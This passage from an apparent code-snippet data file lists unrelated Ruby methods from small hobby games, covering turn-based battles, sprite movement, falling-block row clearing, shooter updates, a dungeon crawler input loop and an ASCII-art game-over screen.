opp_in_front.count(false)\r\n\t\t\t\t\t\tRails.logger.debug \"Number team alive: #{num_opp_alive}\"\r\n\t\t\t\t\t\tif range_left <= num_opp_alive\r\n\t\t\t\t\t\t\tnum_opp_alive = range_left\r\n\t\t\t\t\t\t\tRails.logger.debug \"Targets for randomming decreased from #{num_opp_alive} to #{range_left}\"\r\n\t\t\t\t\t\tend\r\n\r\n\t\t\t\t\t\trandom_target = randomized_target(num_opp_alive)\r\n\t\t\t\t\t\tRails.logger.debug \"Random Target: #{random_target}\"\r\n\r\n\t\t\t\t\t\ttarget = -1\r\n\t\t\t\t\t\ttemp = -1\r\n\t\t\t\t\t\tfor y in 0..4\r\n\t\t\t\t\t\t\tif (!opp_in_front[y])\r\n\t\t\t\t\t\t\t\ttemp += 1\r\n\t\t\t\t\t\t\t\tRails.logger.debug \"#{@team[y].name} is alive in front of #{name}\"\r\n\t\t\t\t\t\t\tend\r\n\t\t\t\t\t\t\tif(temp == random_target)\r\n\t\t\t\t\t\t\t\ttarget = y\r\n\t\t\t\t\t\t\t\tRails.logger.debug \"temp: #{temp} y: #{y} random_target: #{random_target}\"\r\n\t\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\t\tend\r\n\t\t\t\t\t\tend\r\n\t\t\t\t\t\tRails.logger.debug \"Thus the target is: #{@team[target].name} at position: #{target}\"\r\n\r\n\r\n\t\t\t\t\t\tcreate_champion_turn_record(x,target)\r\n\r\n\t\t\t\t\t\tif(cooldown == 0)\r\n\r\n\t\t\t\t\t\t\tchamp_ap = @opp_team[x-5].ap\r\n\t\t\t\t\t\t\tcreate_ability_power_record(x,champ_ap)\r\n\r\n\t\t\t\t\t\t\tchamp_mr = @team[target].mr\r\n\t\t\t\t\t\t\tcreate_mr_record(champ_mr,target)\r\n\r\n\t\t\t\t\t\t\tdamage = @team[target].take_magic_damage(champ_ap)\r\n\t\t\t\t\t\t\tcreate_damage_record(x,damage,target)\r\n\t\t\t\t\t\t\tcreate_just_dead_record(x,target) if @team[target].just_died?\r\n\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\tchamp_ad = @opp_team[x-5].ad\r\n\t\t\t\t\t\t\tcreate_attack_damage_record(x,champ_ad)\r\n\r\n\t\t\t\t\t\t\tchamp_ar = @team[target].armor\r\n\t\t\t\t\t\t\tcreate_armor_record(champ_ar, target)\r\n\r\n\t\t\t\t\t\t\tdamage = @team[target].take_physical_damage(champ_ad)\r\n\t\t\t\t\t\t\tcreate_damage_record(x,damage,target)\r\n\t\t\t\t\t\t\tcreate_just_dead_record(x,target) if @team[target].just_died?\r\n\t\t\t\t\t\tend\r\n\t\t\t\t\tend\r\n\r\n\r\n\t\t\t\tend\r\n\t\t\t\tbreak if create_battle_end_record\r\n\t\t\tend\r\n\t\t\t@turn = @turn + 1\r\n\t\t\tcooldown = cooldown + 1\r\n\t\t\tcooldown = 0 if cooldown == 3\r\n\t\t\tbreak if create_battle_end_record\r\n\t\tend\r\n\tend", "def update\n if @step_count == 20 # 3 times / s\n @board.step!\n @step_count = 0\n else\n @step_count += 1\n end\n end", "def play_full_game\n Display.clear_screen\n Display.draw_board(@cur_board, @player_white, @player_black)\n Display.game_start_ui\n fast_forward(@data[\"moves\"].keys[-1], true)\n Display.draw_board(@cur_board, @player_white, @player_black)\n Display.game_end_ui(determine_winner)\n end", "def tick args\r\n\t#Initiliazes screen_select and player_turn\r\n\targs.state.screen_select ||= 0.1\r\n\targs.state.player_turn ||= 1\r\n\targs.state.player_turn_temp ||= 2\r\n\targs.state.spaces_moved ||= 0\r\n\targs.state.Toad_board_movement_style ||= 1\r\n\targs.state.Cat_board_movement_style ||= 1\r\n\r\n\t#Holds value of HP for each character\r\n\targs.state.total_HP = 10\r\n\targs.state.Toad_HP ||= 10\r\n\targs.state.Cat_HP ||= 10\r\n\r\n\t#Counts the number of laps for each player\r\n\targs.state.total_laps = 1\r\n\targs.state.Toad_laps ||= -1\r\n\targs.state.Cat_laps ||= -1\r\n\t\r\n\t#Initializes measurements used for the sprites throuhgout the program\r\n\targs.state.size = 180\r\n\t\r\n\t#Initializes Toad position\r\n\t#50 180\r\n\targs.state.Toad_XCoord ||= 50\r\n\targs.state.Toad_YCoord ||= 110\r\n\t\r\n\t#Initializes Cat position\r\n\targs.state.Cat_XCoord ||= 50\r\n\targs.state.Cat_YCoord ||= 110\r\n\r\n\t#Damage bars\r\n\targs.state.damagebox_Player1 ||= 0\r\n\targs.state.damagebox_Player2 ||= 0\r\n\r\n\r\n\t\r\n\tscreen_select_test = Integer(args.state.screen_select)\r\n\r\n\tif args.state.screen_select == 2.1\r\n\t\tscreen_select_test = 3\r\n\tend\r\n\t\r\n\tif (screen_select_test == 1)\r\n\t\t#Initializes board squares\r\n\t\tinitialize_board args\r\n\t\tboard_mode args\r\n\telsif (screen_select_test == 2)\r\n\t\t#Ativates board_mode\r\n\t\tinitialize_battle args\r\n\t\tbattle_mode args\r\n\telsif (screen_select_test == 0)\r\n\t\tintro_mode args\r\n\telse\r\n\t\tbattle_mode args\r\n\tend\r\n\r\n\r\n\r\n\t#Activates battle_mode if certain conditions are met\r\n\t#battle_ready args\r\n\t#battle_mode args\r\nend", "def update\n if @board.recheck\n #@board.compact_pieces\n @board.clear_matches\n elsif @board.pieces_removed != 0\n adjust_score(@board.pieces_removed)\n @board.pieces_removed = 0 \n #end game if no legal moves left \n if not @board.any_moves?\n stop_anim\n stop_update\n stop_timer\n @game_over = true\n draw\n $app.alert(\"Game over: no more moves\")\n end \n end\n #end game if out of time\n if @time_remaining && (@time_remaining < 0)\n stop_anim\n stop_update\n stop_timer\n @game_over = true\n draw\n $app.alert(\"Game over: out of time.\") \n end\n end", "def move\n @speed = map1d(total_count, (5..25), (0.1..0.4))\n @speed = (0..10.0).clip speed\n @position[Y] += speed\n @position[Y] = -height if position[Y] > height * 2\n end", "def run\n self.start_time = Time.now\n n = 0\n event = nil\n loop do\n handle_event event, n while event = SDL::Event.poll\n SDL::Key.scan\n handle_keys\n\n unless paused then\n update n unless paused\n\n draw_and_flip n\n\n n += 1 unless paused\n end\n end\n end", "def initialize(testmode)\n super(FRAME_WIDTH, FRAME_HEIGHT, false)\n self.caption = \"Shoota\"\n @state = :in_game\n \n #@gl_background = GLBackground.new(self)\n #@background_image = Gosu::Image.new(self, \"media/Space.png\", true)\n \n # Lists of sprites elements\n @bullets = []\n @e_bullets = []\n @ennemies = []\n @bonuses = []\n @particles = []\n \n # Launch player\n @player = Player.new(self, FRAME_WIDTH/2, 4.0/5.0*FRAME_HEIGHT)\n \n # Create Waves generator\n if testmode\n @w_generator = Wave_Generator_Test.new self\n else\n @w_generator = Wave_Generator.new self\n end\n\n @finished = false\n \n # Fonts for textual elements\n @font = Gosu::Font.new(self, Gosu::default_font_name, 20)\n @big_font = Gosu::Font.new(self, Gosu::default_font_name, 52)\n \n # other constants\n # TODO use Image.from_text() instead\n @GAME_OVER_X = (FRAME_WIDTH - @big_font.text_width(\"GAME OVER\"))/2.0\n @GAME_OVER_Y = (FRAME_HEIGHT - @big_font.text_width(\"GAME OVER\")/9.0)/2.0\n @THE_END_X = (FRAME_WIDTH - @big_font.text_width(\"THE END\"))/2.0\n @THE_END_Y = (FRAME_HEIGHT - @big_font.text_width(\"THE END\")/9.0)/2.0\n \n end", "def update\n\n # Check if the player is colliding with a deadly tile. If so: Lose!\n if Position.collide?(@active_tile, @player)\n timer = Time.new\n until Time.now - timer > 3\n @player.move(:none)\n end\n Game.lose_level\n Game.lose_life\n new_level\n end\n\n # Periodically activate a deadly tile in order of decreasing rarity\n if @player.direction != :none\n if Time.now - @enemy_timer > Settings.enemy_spawn_rate\n eligable_tiles = []\n Grid.tiles.each do |tile|\n if !@target.include?(tile.contents) &&\n tile.is_deadly == false &&\n tile.contents != :empty &&\n tile.contents != \" \"\n eligable_tiles << tile.contents\n end\n end\n @enemy_tile = Grid.characters.detect{|tile| eligable_tiles.include? (tile)}\n Grid.tiles.each do |tile|\n tile.is_deadly = true if tile.contents == @enemy_tile\n end\n @enemy_timer = Time.new\n end\n end\n\n # Align the player's position to the closest tile on the grid\n if Position.within_bounds?(@player)\n @player.x, @player.y = @player.x.round_to(Settings.tile_size), @player.y.round_to(Settings.tile_size)\n end\n\n # Wrap the player around the screen if they reach the edge\n Position.wrap(@player)\n\n # Respond to Keypresses\n if button_down? KbEscape\n close\n puts \"You reached level #{Game.current_level}. Goodbye!\"\n exit\n end\n Moving.parts.each {|part| part.move :none if button_down? KbSpace}\n @player.move(:left) if button_down?(KbLeft) && Position.within_bounds?(@player) && (@player.direction != :right)\n @player.move(:right) if button_down?(KbRight) && Position.within_bounds?(@player) && (@player.direction != :left)\n @player.move(:up) if button_down?(KbUp) && Position.within_bounds?(@player) && (@player.direction != :down)\n @player.move(:down) if button_down?(KbDown) && Position.within_bounds?(@player) && (@player.direction != :up)\n\n # Move all the movable objects in the game\n @player.move(@player.direction)\n Moving.all_move\n \n # Update the player's location on the grid\n if Position.within_bounds?(@player)\n @active_tile = Grid.tiles\n .find {|tile| tile.x == @player.x\n .round_to(Settings.tile_size) && tile.y == @player.y\n .round_to(Settings.tile_size)}\n end\n\n # Have the invisible spacer tile track the player's position\n @head.x, @head.y, @head.direction = @player.path.last[0], @player.path.last[1], @player.path.last[2] \n \n # Update all the tail sections so the previous location of the section in front\n # becomes their current location\n Moving.parts.each_with_index do |section, index|\n section.path << [section.x.round_to(Settings.tile_size), section.y.round_to(Settings.tile_size), section.direction]\n leader = Moving.parts[index-1].path.last if index > 0\n section.x, section.y, section.direction = leader[0], leader[1], leader[2] if index > 0\n section.path.drop(1) if section.path.size > @message.size + 1\n end\n \n # If the player moves over a target tile create a new tail section\n if @active_tile.is_edible\n lastpath = Moving.parts.last.path.last\n image = Image.from_text(@active_tile.contents, Settings.tile_size, options={font: Settings.font, bold: true})\n Tail.new(lastpath[0], lastpath[1], lastpath[2], image)\n @completed << @active_tile.contents.to_s\n Grid.subtract_character(@active_tile.contents)\n @active_tile.contents = :empty\n @target = @target.drop(1)\n Grid.tiles.each {|tile| tile.is_edible = false}\n end\n\n # Set the target letter\n Grid.tiles.each {|tile| tile.is_edible = true if tile.contents == @target[0]}\n\n # Check if the player has collected all the target letters and in the case that\n # they have, check if they have arrived at the mailbox. If so: Level up!\n if @message.join(\"\") == @completed\n if @active_tile.y.between?(Settings.margin_bottom + Settings.tile_size / 2, Settings.margin_bottom + Settings.tile_size * 2) &&\n @active_tile.x.between?(Settings.margin_left, Settings.margin_left + Settings.tile_size)\n @player.move(:none)\n sleep 2\n Game.add_life\n new_level\n end\n end\n end", "def game_over\n puts \" ██████╗ █████╗ ███╗ ███╗███████╗\"\n sleep(1)\n puts \"██╔════╝ ██╔══██╗████╗ ████║██╔════╝\"\n sleep(1)\n puts \"██║ ███╗███████║██╔████╔██║█████╗ \"\n sleep(1)\n puts \"██║ ██║██╔══██║██║╚██╔╝██║██╔══╝ \"\n sleep(1)\n puts \"╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗\"\n sleep(1)\n puts \"╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝\"\n sleep(1)\n puts \" \"\n sleep(1)\n puts \"██████╗ ██╗ ██╗███████╗██████╗ \"\n sleep(1)\n puts \"██╔═══██╗██║ ██║██╔════╝██╔══██╗ \"\n sleep(1)\n puts \"██║ ██║██║ ██║█████╗ ██████╔╝ \"\n sleep(1)\n puts \"██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗ \"\n sleep(1)\n puts \"╚██████╔╝ ╚████╔╝ ███████╗██║ ██║ \"\n sleep(1)\n puts \"╚═════╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ \"\n sleep(1)\n\n\n exit(0)\nend", "def update\n oldbmp = @sprite.bitmap\n if @oldpage != @game_event.current_page\n page = @game_event.current_page\n if page\n graphic = page.graphic\n if graphic[:type] == :file # Filename with src_rect\n if graphic[:param] && graphic[:param].size > 0\n @sprite.set_bitmap(graphic[:param])\n @sprite.src_rect.width = @sprite.bitmap.width / 4\n @sprite.src_rect.height = @sprite.bitmap.height / 4\n @sprite.src_rect.y = (graphic[:direction] / 2 - 1) * @sprite.src_rect.height\n else\n @sprite.bitmap = nil\n end\n @setdir = true\n @animate = true\n elsif graphic[:type] == :file_norect # Filename without src_rect\n @sprite.set_bitmap(graphic[:param])\n @setdir = false\n @animate = false\n elsif graphic[:type] == :tile # Tile\n tileset_id, tile_id = graphic[:param]\n tileset = MKD::Tileset.fetch(tileset_id)\n @sprite.set_bitmap(\"gfx/tilesets/#{tileset.graphic_name}\")\n @sprite.src_rect.width = 32\n @sprite.src_rect.height = 32\n tile_id = graphic[:param][1]\n @sprite.src_rect.x = (tile_id % 8) * 32\n @sprite.src_rect.y = (tile_id / 8).floor * 32\n @setdir = false\n @animate = false\n end\n else\n @sprite.bitmap = nil\n @setdir = false\n @animate = false\n @relative_x = @game_event.x * 32 + 16\n @relative_y = @game_event.y * 32 + 32\n end\n @sprite.ox = @sprite.src_rect.width / 2\n @sprite.oy = @sprite.src_rect.height\n end\n\n if oldbmp != @sprite.bitmap && @sprite.bitmap.nil?\n @xdist = []\n @xtrav = []\n @xstart = []\n @ydist = []\n @ytrav = []\n @ystart = []\n @anim = []\n @moveroute_wait = 0\n @moveroute_ready = true\n end\n\n if @olddirection != @game_event.direction && @setdir\n @sprite.src_rect.y = (@game_event.direction / 2 - 1) * @sprite.src_rect.height\n end\n\n # Queues movement commands\n if @moveroute_wait > 0\n @moveroute_wait -= 1\n next_move if @moveroute_wait == 0\n end\n if @moveroute_ready\n move = @game_event.moveroute[0]\n if move\n @moveroute_ready = false\n name = move\n name = move[0] if move.is_a?(Array)\n execute_move_command(name)\n end\n end\n\n # Executes the horizontal movement\n if @xdist[0] && @xtrav[0] && @xstart[0]\n if @xtrav[0].abs < @xdist[0].abs\n dist = @game_event.speed * (@xdist[0] < 0 ? -1 : 1)\n @xtrav[0] += dist\n @xtrav[0] = @xdist[0] < 0 ? [@xtrav[0], @xdist[0]].max : [@xtrav[0], @xdist[0]].min\n @relative_x = @xstart[0] + @xtrav[0]\n if @anim[0].size > 0 && (@xdist[0] > 0 && @xtrav[0] > @anim[0][0] || @xdist[0] < 0 && @xtrav[0] < @anim[0][0])\n if @animate\n @sprite.src_rect.x += @sprite.src_rect.width\n @sprite.src_rect.x = 0 if @sprite.src_rect.x >= @sprite.bitmap.width\n end\n @anim[0].delete_at(0)\n end\n else\n @xtrav.delete_at(0)\n @xdist.delete_at(0)\n @xstart.delete_at(0)\n @anim.delete_at(0)\n next_move\n end\n end\n # Executes the vertical movement\n if @ydist[0] && @ytrav[0] && @ystart[0]\n if @ytrav[0].abs < @ydist[0].abs\n dist = @game_event.speed * (@ydist[0] < 0 ? -1 : 1)\n @ytrav[0] += dist\n @ytrav[0] = @ydist[0] < 0 ? [@ytrav[0], @ydist[0]].max : [@ytrav[0], @ydist[0]].min\n @relative_y = @ystart[0] + @ytrav[0]\n if @anim[0].size > 0 && (@ydist[0] > 0 && @ytrav[0] > @anim[0][0] || @ydist[0] < 0 && @ytrav[0] < @anim[0][0])\n if @animate\n @sprite.src_rect.x += @sprite.src_rect.width\n @sprite.src_rect.x = 0 if @sprite.src_rect.x >= @sprite.bitmap.width\n end\n @anim[0].delete_at(0)\n end\n else\n @ytrav.delete_at(0)\n @ydist.delete_at(0)\n @ystart.delete_at(0)\n @anim.delete_at(0)\n next_move\n end\n end\n\n # Sets the sprite's on-screen location based on the map's offset and the coordinates of the sprite relative to the map.\n map = $visuals.maps[@game_event.map_id]\n @sprite.x = map.real_x + @relative_x\n @sprite.y = map.real_y + @relative_y\n @sprite.z = @sprite.y + 31\n\n @oldpage = @game_event.current_page\n @olddirection = @game_event.direction\n end", "def start_game\n\t\tself.game_is_started = true\n send_update\n end", "def tick\n return if @pause\n\n @objects.each { |o| o.live if o.alive? }\n\n random_event(MONSTER_SPAWN_RATE * (1.1 ** @player.level)) { place_monster }\n random_event(FIRST_AID_DROP_RATE) { place_first_aid }\n end", "def accelerate(increment, seconds)\n fail 'Engine Off Error' unless engine_on\n\n seconds.times do\n break if speed >= top_speed\n @speed += increment\n end\n end", "def battle\n # Runden auf 0 setzen, continue auf true (Für die Schleife)\n round = 0\n continue = true\n victory = false\n # Bilde Arrays mit allen nötigen Werten für den Kampf\n turn_fleet = build_array(@attacker, @attacker_fleet)\n target_fleet = build_array(@defender, @defender_fleet)\n emp_phase(@attacker)\n emp_phase(@defender)\n # Angreifer beginnt\n turn_user = @attacker\n target_user = @defender\n while (round < 1000 && continue ) do\n round = round + 1\n if target_user == @defender\n @fight_shield = @defender_shield\n else\n @fight_shield = @attacker_shield\n end\n # Damit alle Gruppen in einer Runde nur auf das Schild feuern können\n shield = @fight_shield\n # Für die Ausgabe der Runden-Berichte\n turn_fleet.each do |fleet|\n # Nur Einheiten mit Anzahl > 0 und Schaden > 0 können kämpfen\n if fleet[1] > 0 && fleet[2] > 0 \n # Bestimme Ziel anhand von id.\n # -2 ist Miss\n # -1 ist Schild\n target = hit(target_fleet, turn_user)\n if(target==-1)\n mult = 1\n # Falls Ionenwaffe, wird Schaden an Schild erhöht\n if fleet[3] == 2\n mult = DamageType.find(fleet[3]).shield_mult\n end\n damage = fleet[2] * mult\n # Abzug des Schilds. Übernahme erst bei nächster Runde\n @fight_shield = @fight_shield - damage\n else\n mult = 1\n # Falls Laserwaffe, wird Schaden an Hülle erhöht\n # TABELLE DAMAGETYPE EINFÜGEN\n if (fleet[3] == 1)\n mult = DamageType.find(fleet[3]).shell_mult\n end \n if fleet[3] == 3 and !fleet[6]\n mult = DamageType.find(fleet[3]).station_mult\n end\n if fleet[3] == 4 and fleet[0] == @plattform_id\n mult = DamageType.find(fleet[3]).plattform_mult\n end \n # Bestimme welche Einheit getroffen wurde\n victim = target_fleet[target]\n # Schadensberechnung\n damage = fleet[2] * mult\n # Berechne neue HP\n hit_points = victim[-2]\n victim[-2] = hit_points-damage\n # Berechne Anzahl und Schaden neu\n update_ship_group(victim, target_user)\n end\n end \n end\n # Füge Runden-Bericht ein\n # Testet, ob Spieler noch Truppen besitzt\n if (defeat(target_fleet))\n continue = false\n if turn_user == @attacker\n victory = true \n end\n else\n # Falls Schild unter 0, wird er auf 0 gesetzt\n if @fight_shield < 0\n @fight_shield = 0\n end\n # Kampf-Schild für nächste Runde\n if target_user == @attacker\n @attacker_shield = @fight_shield\n else\n @defender_shield = @fight_shield\n end\n # Tausche Rolle des Angreifers aus\n tmp_fleet = turn_fleet\n tmp_user = turn_user\n turn_fleet = target_fleet\n turn_user = target_user\n target_fleet = tmp_fleet\n target_user = tmp_user\n end\n # Füge alle Runden-Berichte hinzu\n end\n if continue\n @report << \"Unentschieden! \"\n @report << \"Es konnte kein Sieger ermittelt werden \"\n else \n @report << \"Die Flotte von #{target_user.username} unterlag. \"\n @report << \" #{turn_user.username} war siegreich! \"\n end\n # Generiere Verlustrechnung\n attacker_fleet_ary = []\n defender_fleet_ary = []\n if turn_user == @attacker\n lost_report(turn_fleet, @attacker) \n lost_report(target_fleet, @defender) \n attacker_fleet_ary = turn_fleet\n defender_fleet_ary = target_fleet\n else\n lost_report(target_fleet, @attacker) \n lost_report(turn_fleet, @defender) \n\n attacker_fleet_ary = target_fleet\n defender_fleet_ary = turn_fleet\n end\n update_fighting_fleet(@attacker_fleet, attacker_fleet_ary)\n update_fighting_fleet(@defender_fleet, defender_fleet_ary)\n ary = [@attacker_fleet, @defender_fleet] \n return [@report, @spy_report]\n end", "def run\n #Load the Hero File\n load_hero_file\n #Load dungeon at top level\n load_dungeon_file(@current_level)\n #display the hero's starting spot\n clear_message_box\n #get input either an action or a movement.\n while true\n update_screen\n key = @ui.instr\n case key\n when 'B','b' #turn left\n @hero_direction = POS_TURN.rotate!(-1)[0]\n when 'N','n' #turn right\n @hero_direction = POS_TURN.rotate!(1)[0]\n when 'M','m' #move ahead\n move_hero\n when 'A','a' #attack\n hero_attack if @monster_detected\n when 'C','c' #cast\n if @stats[:aura] > 0 && !@spells.empty?\n cast_spell\n else\n @ui.place_text('FIZZZZ....'.ljust(20),1,2,DungeonOfDoom::C_BLACK_ON_YELLOW)\n @ui.place_text(MSG_NOTHING.ljust(20),1,3,DungeonOfDoom::C_BLACK_ON_YELLOW)\n end\n when 'G','g' #get\n get_object\n when 'P','p' #potion\n drink_potion\n when 'R','r' #reveal\n light_room\n when 'S','s' #save?\n #not implemented yet\n when 'Q','q' #quit\n if ask_question('DO YOU REALLY WANT', 'TO QUIT? (Y/N)') == 'Y'\n break\n else\n clear_message_box\n end\n else\n #do nothing\n end\n #automated game elements\n\n #monster detected\n monster_attack if @monster_detected\n #hero died\n if @stats[:strength] <= 0\n game_over\n break\n end\n #hero gets idol!\n if @idol_found\n win_game\n break\n end\n end\n end", "def simulateGameLoad\n i = 3\n sleep(0.5)\n while i > 0 do\n i -= 1\n print '.'\n sleep(0.5)\n end\nend", "def update\n # Kill can only be true for one frame\n @kill = false if @kill\n\n # Check the state of the blast\n if @state == :initial\n elsif @state == :moving\n if @direction == :left\n @x -= SPEED\n elsif @direction == :right\n @x += SPEED\n elsif @direction == :down\n @y += SPEED\n end\n \n # check if blast has collided with anything\n # create a rectangle next to the blast\n # if it intersects with any of the platforms, collision\n can_move = true\n bx = @x\n by = @y\n bx += 10 if @direction == :left \n offset_rect = Rectangle.new(bx/SCALE, by/SCALE, @width, @height)\n #check platforms for collision\n @window.level.platforms.each do |p|\n if offset_rect.intersect?(p)\n can_move = false \n break\n end\n end\n #check enemies for collision\n @window.level.enemies.each do |e|\n if offset_rect.intersect?(e) && !e.dead?\n can_move = false\n #Recognize Enemy Types\n if !e.invincible?\n e.health -= 1\n @kill = true\n end\n break\n end\n end\n if !can_move\n @state = :collision\n @start_milliseconds = Gosu.milliseconds\n end\n elsif @state == :collision\n if Gosu.milliseconds - @start_milliseconds > EXPLOSION_TIME\n @state = :finished\n end\n end\n end", "def game_play\n until game_over\n graphic\n guess\n end\n end", "def update\n if @think_time % 6 == 0\n self.bitmap.clear \n @think_text +=\".\" \n if self.bitmap.text_size(@think_text).width > self.width\n reset_text\n end\n self.bitmap.draw_outline_text(0, 0, self.width, self.height, @think_text)\n end\n super\n if @think_time > 0\n @think_time -= 1\n return true\n else\n return false\n end\n end", "def walk\n @speed = @speed + (0.2 * @legs)\n end", "def update\n\t\tif @swimming\n\t\t\tcurr_time = Gosu::milliseconds\n\t\t\tif (curr_time - @prev_time).abs > @animation_update_interval\n\t\t\t\tincrement_swim_tile_index\n\t\t\t\t@prev_time = curr_time\n\t\t\t\t@@swim_sound.play\n\t\t\tend\n\t\telsif face_left?\n\t\t\t@tile_idx = 0\n\t\telse\n\t\t\t@tile_idx = 3\n\t\tend\n\n\t\tmove_party_horn\n\t\t@party_horn.update\n\tend", "def anim3\n # hash to store all sprites\n balls = {}\n rects = {}\n # creates blank ball bitmap\n ball = Bitmap.new(@viewport.height/6,@viewport.height/6)\n bmp = pbBitmap(\"Graphics/EBDX/Transitions/Common/ball\")\n ball.stretch_blt(Rect.new(0,0,ball.width,ball.height),bmp,Rect.new(0,0,bmp.width,bmp.height))\n # creates necessary sprites\n for i in 0...6\n # black rectangles\n rects[\"#{i}\"] = Sprite.new(@viewport)\n rects[\"#{i}\"].bitmap = Bitmap.new(2,@viewport.height/6)\n rects[\"#{i}\"].bitmap.fill_rect(0,0,2,@viewport.height/6,Color.black)\n rects[\"#{i}\"].x = (i%2==0) ? -32 : @viewport.width+32\n rects[\"#{i}\"].ox = (i%2==0) ? 0 : 2\n rects[\"#{i}\"].y = (@viewport.height/6)*i\n rects[\"#{i}\"].zoom_x = 0\n # ballsprites\n balls[\"#{i}\"] = Sprite.new(@viewport)\n balls[\"#{i}\"].bitmap = ball\n balls[\"#{i}\"].center!\n balls[\"#{i}\"].x = rects[\"#{i}\"].x\n balls[\"#{i}\"].y = rects[\"#{i}\"].y + rects[\"#{i}\"].bitmap.height/2\n end\n # moves sprites across screen\n for j in 0...28.delta_add\n for i in 0...6\n balls[\"#{i}\"].x += ((i%2==0) ? 24 : -24)/self.delta\n balls[\"#{i}\"].angle -= ((i%2==0) ? 32 : -32)/self.delta\n rects[\"#{i}\"].zoom_x += 12/self.delta\n end\n pbWait(1)\n end\n @viewport.color = Color.black\n # disposes unused sprites\n pbDisposeSpriteHash(balls)\n pbDisposeSpriteHash(rects)\n end", "def setup_slow_motion\n return TSBS.error(@acts[0], 2, @used_sequence) if @acts.size < 3\n $game_temp.slowmotion_frame = @acts[1]\n $game_temp.slowmotion_rate = @acts[2]\n end", "def moveTimer\n @current_piece.timeout = @current_piece.timeout-1\n if @current_piece.timeout != 0\n return\n end\n \n @current_piece.timeout = $effective_timeout\n\n if !@current_piece.moveDown\n # update field\n for i in (0..3)\n for j in (0..3)\n if @current_piece.blocks[i*4+j]!=0\n @field[(@current_piece.pos_y+i)*($field_width+2)+(@current_piece.pos_x+j)]=@current_piece.blocks[i*4+j]\n end\n end\n end\n\n current_piece.fix\n\n # let's check if we have cleared any rows\n rows = []\n for i in (0..3)\n\t# check this row\n ok = true\n\tfor z in 1..$field_width\n if @field[(@current_piece.pos_y+i)*($field_width+2)+z]==0\n ok = false\n break\n end\n end\n if ok\n\t if (@current_piece.pos_y+i)<($field_height+2) # ignore the floow\n\t # TODO: async row deletion\n rows = rows + [@current_piece.pos_y+i]\n end\n end\n end\n\n for i in (0..1)\n rows.each {|r|\n for z in 1..$field_width\n\t drawBlock(z, r, @screen.format.mapRGB(0, 0xaa, 0xaa))\n end\n }\n @screen.flip\n # sleep a little\n SDL.delay(1)\n rows.each {|r|\n for z in 1..$field_width\n\t drawBlock(z, r, @screen.format.mapRGB(0xaa, 0x77, 0x99))\n end\n }\n @screen.flip\n SDL.delay(1)\n end\n\n # Now let's collapse the field\n rows.each {|r|\n r.downto(1){|l|\n for z in 1..$field_width\n @field[l*($field_width+2)+z]=@field[(l-1)*($field_width+2)+z]\n end\n\t}\n for z in 1..$field_width\n @field[z]=0\n end\n }\n\n if rows.size>0\n $score = $score + rows.size*2-1\n\n # And update the screen\n @screen.fillRect($block_size, $block_size, $field_width * $block_size, $field_height * $block_size, 0)\n for i in 2..($field_height+1)\n for j in 1..$field_width\n t = @field[i*($field_width+2)+j]\n if t!=0\n drawBlock(j, i, @colors[t-1])\n end\n end\n end\n @screen.flip\n end\n\n @current_piece.create_piece\n\n if !checkPos(@current_piece)\n gameover\n end\n end\n end", "def update\n \n unless @state == :paused\n # Update player\n # TODO externalize this part PlayerCtrl\n if @player.is_alive? or @player.resurrecting?\n @player.move_left if button_down? Gosu::Button::KbLeft or button_down? Gosu::Button::GpLeft\n @player.move_right if button_down? Gosu::Button::KbRight or button_down? Gosu::Button::GpRight\n @player.accelerate if button_down? Gosu::Button::KbUp or button_down? Gosu::Button::GpUp\n @player.brake if button_down? Gosu::Button::KbDown or button_down? Gosu::Button::GpDown\n @player.shoot if button_down? Gosu::Button::KbZ or button_down? Gosu::GpButton0\n end\n @player.update\n \n # Check touching bullets\n @bullets.reject! { |b| b.touch? @ennemies }\n @e_bullets.reject! { |b| b.touch? @player }\n \n # Update bullets and ennemies\n # Remove all objects whose update method returns false. \n @bullets.reject! { |o| o.update == false }\n @e_bullets.reject! { |o| o.update == false }\n @ennemies.reject! { |e| e.update == false }\n @bonuses.reject! { |b| b.update == false }\n @particles.reject! { |p| p.update == false }\n \n #@gl_background.scroll\n \n # Generate new ennemies\n @finished = @w_generator.update\n end\n \n end", "def update\n\t\t\t@current_state.objs.each do |obj|\n\t\t\t\tif obj.life <= 0\n\t\t\t\t\tobj.destroy\n\t\t\t\t\t@current_state.objs.delete obj\n\t\t\t\t\t@current_state.events.each_key do |event|\n\t\t\t\t\t\t@current_state.events[event].each do |x|\n\t\t\t\t\t\t\tif x.owner == obj\n\t\t\t\t\t\t\t\t@current_state.events[event].delete x\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t#@current_state.objs.each do |obj|\n\t\t\t#\t@current_state.objs[@current_state.objs.index(obj)+1..-1].each do |obj2|\n\t\t\t#\t\tunless collision_between(obj, obj2)\n\t\t\t#\t\t\tnext\n\t\t\t#\t\tend\n\t\t\t#\t\tobj.collision obj2\n\t\t\t#\t\tobj2.collision obj\n\t\t\t#\tend\n\t\t\t#end\n\t\t\n\t\t\t@queue.each do |ev|\n\t\t\t\tcase ev\n\t\t\t\t\twhen Rubygame::QuitEvent\n\t\t\t\t\t\tRubygame.quit\n\t\t\t\t\t\texit\n\t\t\t\t\twhen Rubygame::KeyDownEvent\n\t\t\t\t\t\t[@current_state.events, @global_events].each do |events|\n\t\t\t\t\t\t\tevents[:key_press].each do |x|\n\t\t\t\t\t\t\t\tif ev.key == x.key\n\t\t\t\t\t\t\t\t\tx.call\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t\t\tevents[:while_key_down].each do |x|\n\t\t\t\t\t\t\t\tif ev.key == x.key\n\t\t\t\t\t\t\t\t\tx.active = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t\t\tevents[:while_key_up].each do |x|\n\t\t\t\t\t\t\t\tif ev.key == x.key\n\t\t\t\t\t\t\t\t\tx.active = false\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\twhen Rubygame::KeyUpEvent\n\t\t\t\t\t\t[@current_state.events, @global_events].each do |events|\n\t\t\t\t\t\t\tevents[:key_release].each do 